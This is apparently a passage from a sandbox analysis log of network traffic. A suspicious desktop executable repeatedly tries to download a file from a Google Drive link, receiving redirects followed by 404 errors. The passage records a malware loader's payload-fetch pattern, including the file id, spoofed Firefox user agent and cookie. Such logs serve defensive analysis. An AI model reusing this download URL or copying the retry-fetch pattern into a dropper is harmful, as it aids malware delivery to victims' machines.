2025-01-10 14:39:17 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:17 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-9EAYi_IRVA5ik-fqU-biDg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	52096	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:18 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:18 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6jDpoRhB22UYIVkvBabWEXrunev6AKw4RVe3hNHklu9apobvC08KYe9zCNwMp2ROhdYlGwrno Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:18 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-qvB0efGXTjX0_JNoLP4AWA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:18 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 76 6c 31 75 78 54 68 77 66 6e 33 56 65 63 45 34 68 48 33 56 56 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="vl1uxThwfn3VecE4hH3VVg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	52104	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:19 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:20 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:19 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-EP2rc61UYJf113cxUpyNxw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	52112	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:20 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:21 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5_fc1ipyVIv6tpaZPwVC0iEOmAWExlV7j6f3CkakvZUD_I6rjRiHABRTHImHShlfRI Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:20 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-JLxsTBT3zNKdTnhFbOvnXw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:21 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 34 6e 34 4f 59 45 72 70 2d 36 6c 2d 42 33 4e 72 4a 57 53 6e 74 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="4n4OYErp-6l-B3NrJWSntA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	52119	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:21 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:22 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:22 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-mf5z1FABYyJM2S7M14NUew' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	52128	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:22 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:23 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgRuAENb4Xc5vjZb_gZTGp5BHMRdfak_SUIp7LWcCMnZ1-7ssk5nzrlIim4E_FHp6j9zyIEQeLA Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:23 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-2UuSLVTw0_P940hhDbxR1A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:23 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 35 75 4d 69 39 65 78 48 2d 61 66 50 70 48 34 4e 32 63 6b 52 61 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="5uMi9exH-afPpH4N2ckRaQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	52138	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:24 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:24 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:24 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-yjf1uN9aRir7r78SGxORyw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	52147	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:25 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:25 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6dil4cMFJrtfkmnuuz09E-0PjXegF0f1dgqZfhFEa10L6SnhfFcq9XsEjVdY95bndjSU1gVhM Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:25 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-ejuoyyGMeroZSQIu0Rdrgg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:25 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 38 34 48 57 2d 5f 2d 66 30 30 6c 41 56 65 6e 77 6f 50 50 30 56 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="84HW-_-f00lAVenwoPP0Vg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	52155	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:26 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
